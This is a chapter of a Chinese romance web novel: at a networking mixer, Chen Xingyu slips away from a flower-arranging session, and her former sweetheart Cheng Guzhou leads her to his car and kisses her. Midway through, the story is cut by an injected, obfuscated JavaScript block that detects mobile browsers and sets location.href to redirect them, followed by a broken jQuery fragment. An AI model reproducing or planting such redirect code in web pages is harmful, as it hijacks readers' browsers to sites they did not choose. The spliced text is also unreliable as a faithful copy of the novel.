渡星燃九

10. 偷跑偷吻

    看着程故舟和8号女青年并肩走向咖啡桌的背影,有那么一时三刻,陈幸予有些犹豫。


    刚刚这两个人在她面前互换名片的时候,陈幸予就听出来了,这位女青年是一朵名副其实的人间富贵花。


    用女青年自己的一句话介绍就是:目前在父亲手底下的一家五星级酒店当dgm(副总经理)。


    也就是说,这位富贵花的父亲,至少是这家国际连锁酒店的大区负责人。


    酒店行业的客户陈幸予接触的不多,但多少也有些了解,但凡做到dm(总经理)或是dgm(副总)的人,基本上都得从基层做起,没有个十年开外的历练,是玩不转酒店的繁杂事务的。


    陈幸予目测,富贵花二十三四岁到头了。


    有意思的是,富贵花请程故舟借一步说话的理由,是继续谈业务。


    陈幸予在程故舟的眼里,分明看见了迟疑。


    这份迟疑让她忽然想起,那时也有这么一个人,在程故舟的事业出现危机、而她又无能为力的时候,顺理成章地在他身边出现了。


    那段暗不见光的日子,大概所有的人都在努力,只有她,是个不合时宜。


    天生自带敏感雷达的人,也最擅长逃跑。


    所以陈幸予不等程故舟征求她意见,先借口自己还有工作要处理,微笑点头后快步离开了。


    到餐厅门口,她看见了联谊会的主持人,想着在人家眼皮子底下离场总归不太合适,不如光明正大地表明自己的态度,便主动上前和主持人问了声好。


    “陈经理这就要走吗?下午还有专为女士们设计的插花活动呢!”主持人尝试挽留。


    “的确比较遗憾,可实在是有脱不开的工作。”陈幸予有些受不了总闯入她视线里那两个愉快沟通的人,一心想躲个清净。


    “大周末的还要让你加班,这个沈言澈也是太过分了!”


    被识破简陋谎言的陈幸予,当即有些不好意思地垂眼笑了。


    主持人趁机自我介绍:“陈幸予经理您好,我是赫禧婚庆的老板、策划师兼主持人,梁园,我们也算是半个同行了。”


    陈幸予赶紧和对方交换名片。


    “赫禧、梁园……”对文字自带敏感度的陈幸予,念着这巧合般的“谐音梗”,体会到了其中的意趣。


    她弯起了眉眼看向梁园,对方也回她了一个“你懂我”的笑容。


    “策划人的文字游戏,总是这么有意思,对吧?”梁园还在一旁补充。


    陈幸予点头表示认可,“是。”


    “下午的插花更有意思,不介意的话,我现在带你去准备室,看看咱们花艺老师的成品,如果感兴趣,就把工作往后放一放,我就不信沈言澈还能把你怎么着。”梁园摆出一副和沈言澈熟络的样子,再次真诚劝说。


    面对半个同行的一再挽留,陈幸予不好意思再次拒绝,只好答应:“那就恭敬不如从命。”


    陈幸予笑望着梁园故作姿态的邀请,顺着他的手势,出了宴会厅,跟他来到了插花的准备室。


    距离下午的活动开始还有半个小时,他们进去的时候,两个花艺师已经准备好了的插花材料。


    沿着一桌子的浪漫花枝走了一圈,陈幸予心里也生出了些许期待。


    “下午还有配对的环节吗?男青年们做什么?”陈幸予问梁园。


    梁园答道:“男士们安排了丹青画扇,虽然还是在同一个厅,但各自活动,当然,嘉宾们也可以自由选择画扇还是插画,之后会有自愿交换作品的环节。”


    陈幸予趁机要求:“那一会麻烦梁老板给我安排一个靠近大门、随时能溜走、又不会有人过来换走我的插花的位置。”


    梁园的确被陈幸予明目张胆的“无理”要求逗笑了,连声答应着好。


    于是乎,下午的插花活动,陈幸予左手边是手把手教她插花的花艺师,右手边是一到巡场间隙就过来和她聊天的主持人梁园,后面就是活动厅的大门,前面是她细心插摆的花篮。


    不过再怎么投入注意力,也没能避免被一只名叫“小粉兔”的玫瑰扎了手,她看了不远处的画扇台两眼,被扎了两次。


    发现再次被扎的时候,陈幸予倒是比一旁的花艺师和梁园都淡定,她神色稍冷,眉头没怎么皱。


    陈幸予插完了最后一只满天星,把成品展示给花艺师看,藏不住想要得到赞许的表情。


    “幸予你很有天份哦!作品很完美!”


    花艺师是个年龄稍大的优雅阿姨,陈幸予得到她的温柔称赞之后,脸上浮现出了孩子般的小小得意。


    花艺师又看了看陈幸予手上的两处伤口,提醒她:“幸予啊,去洗个手,休息一会吧!”


    卫生间在厅外,陈幸予心想机会终于来了。她再次向花艺师道谢,把花篮留在了桌上,可刚一离座,就看见富贵花手里握着一把画好的扇子,笑脸盈盈地朝她走了过来,后面跟着猜不透表情的程故舟。


    “哈喽,幸予姐,你可终于忙完啦?”


    见多了自来熟的问好,陈幸予也能自如应答:“下午好啊,施柔。”她直呼着富贵花的姓名,把语气调整得恰到好处。


    “我原本也想过来插花的,可是发现你身边没位置了,刚才和程总谈业务的时候,他一直提起和你的合作,听得我打定主意一定得过来和你取取经!”


    施柔说完,还没等陈幸予反应,梁园倒是先惊讶地打岔:“原来你和程总真的认识啊?”


    陈幸予猜不出施柔说这话的真实用意,只好努力扯出一个嘴角上扬的弧度。


    “幸予姐,刚才我问了程总很多企业参与公益活动的问题,他极力推荐我们和维盛营销开展合作,还一直提到你在公益项目里的投入和用心,我特别希望借着今天这个机会,和你交流交流。”


    听了施柔的话,陈幸予也不知道为什么,心情更加复杂,她暗暗笑自己,想多了不是?


    “哎呀,你们非要在联谊会上谈业务,那就别怪我也过来助兴了,你好,施柔是吗?我是维盛营销的副总,沈言澈,幸会幸会。”


    “各位好,我是城发集团的李新萌。”


    沈言澈和一直组队的2号女青年也围过来,突然开始了职场风格的自我介绍。


    站在众人身边的主持人梁园哭笑不得:“各位……说好的联谊呢……”


    “梁园你也好意思说我们,你当我眼睛瞎啊,你围着我们陈经理叭叭说一下午了。”


    沈言澈说完,走到梁园身边,雷声大雨点小地给了他一拳。


    梁园言语也不客气:“这话可不能这么说,我和陈经理一见如故,人生难得一知己啊,多说两句怎么了,你说是吧幸予?”


    陈幸予内心感激刚才梁园对她的特殊照顾,便顺着他的话恭维:


    “是,梁老板为人幽默风趣,刚刚我们聊得是挺愉快的。”


    梁园一听,又笑着往陈幸予身边挪了两步,“以后你就叫我梁园哥就行,叫梁老板显得生疏了。”


    “梁老板,画扇台那边有人在找主持人,您要不要过去看看?”


    说话的是程故舟,他走到梁园身边,伸手指了指画扇台的方向,又借着梁园的离开,顺势站到了陈幸予的身旁。


    陈幸予对于身边人的调换,反应不大,倒是对面的施柔和李新萌,带笑的眼神一直在她和程故舟身上来回晃啊晃。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200945|165700||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    沈言澈指了指不远处的圆桌,眼神飘到陈幸予身上,提议道:“不如我们找个桌子坐下来聊聊?”


    陈幸予斜瞥沈言澈,看见他一脸的斗志,心里忽然就高看了她这上司一眼。


    没了逃脱的借口,罢了,谈工作。


    陈幸予和几个年轻人互相答应着,约定收拾好各自的东西之后,到圆桌前相见。


    到卫生间洗了手,刚才被扎的地方,还是刺刺的有些疼,陈幸予拎着包出来的时候,看见了站在门口的程故舟。


    按理说,作为维盛营销的项目经理,她陈经理是应该好好感谢程总的,为他们开拓新业务费心牵线搭桥,不过她只是简单向程故舟点了点头,问他要不要一起去圆桌。


    程故舟却突然笑了笑,眼中闪过一丝狡黠,“陈小星!你说呢?”


    陈幸予心里猛地忽闪了一下,和程故舟目光交汇的一瞬间,就领会了他的意思——“逃课”这种事,她的确早就被他带得驾轻就熟了。


    手被程故舟干脆利落地抓起,她被径直带出了会场。


    “雨不大,我的车近,跟我走。”


    “……”


    那时每次逃课,程故舟都会拉着她的手,毫不迟疑地说:“跟我走。”


    每次她都像个着了道的傻子,就这么被他带着四处跑。


    这一次,鬼使神差,她又信了。


    雨是不大,可陈幸予眼睁睁看着程故舟拉着她,路过了自己的红色小mini,走了五十米开外,才找到了他自己的车。


    “进去躲躲雨。”


    程故舟先把副驾驶的门打开,领着陈幸予坐了进去,之后他自己才上了车。


    一上车,程故舟就落了车锁。


    陈幸予原本被程故舟一套行云流水般的动作带得没思路,直到听见车上锁的那一声“咔哒”,她才像刚长出脑子一般,叫了声:“程总……”


    程故舟刚刚还畅快开心的脸,在听见陈幸予叫他的瞬间就转为了不满,“陈小星,你什么时候才能像原来那样叫我!”


    陈幸予还是语塞。


    “刚刚那个主持人,让你叫他梁园哥,你都能答应,你就不能……”程故舟说着,重重叹了口气,“你就不能叫我一声故舟哥!”


    “我没答应梁老板。”这个问题,陈幸予倒是回答得分秒不落。


    “你还跟他一见如故?和他聊天轻松愉悦?他还得一知己,幽默风趣?你手扎了两次都没见他给你找个创可贴!”


    程故舟一下子这么多气话,实属罕见。


    “会场没有创可贴。”本着就近原则,陈幸予也只回答了最近的一个。


    “啧……”程故舟逐渐失去耐心,“手给我!”


    陈幸予被程故舟哼得有些气弱,可还是小声挣扎:“伤口太小,已经找不到在哪了……”


    此话一出,程故舟手里的创可贴被捏出了一个窝。


    陈幸予转过脸,躲避程故舟似火的直视,她看着车窗上只剩下几滴未干的水珠,轻声说:“雨停了,程……”


    不知道先点燃她触觉的,是他冰凉指尖,还是他温热的唇线,总之,转头的一瞬间,陈幸予竟习惯性地闭上了眼。


    车窗外又传来了滴滴答答的落雨声,程故舟的吻比此时的雨还轻柔缠绵,陈幸予脑子里一遍遍告诉自己停下来,可被他的手轻抚住的耳尖发梢,都任性地不想拒绝。


    乍响的手机铃声把陈幸予吓了一哆嗦,霎时,所有的理智都归位,她一把推开了程故舟。


    两个人的胸膛都起伏不平。


    “不要接,”程故舟借着还未熄灭的激动,按住了陈幸予的手,“小星,不要接。”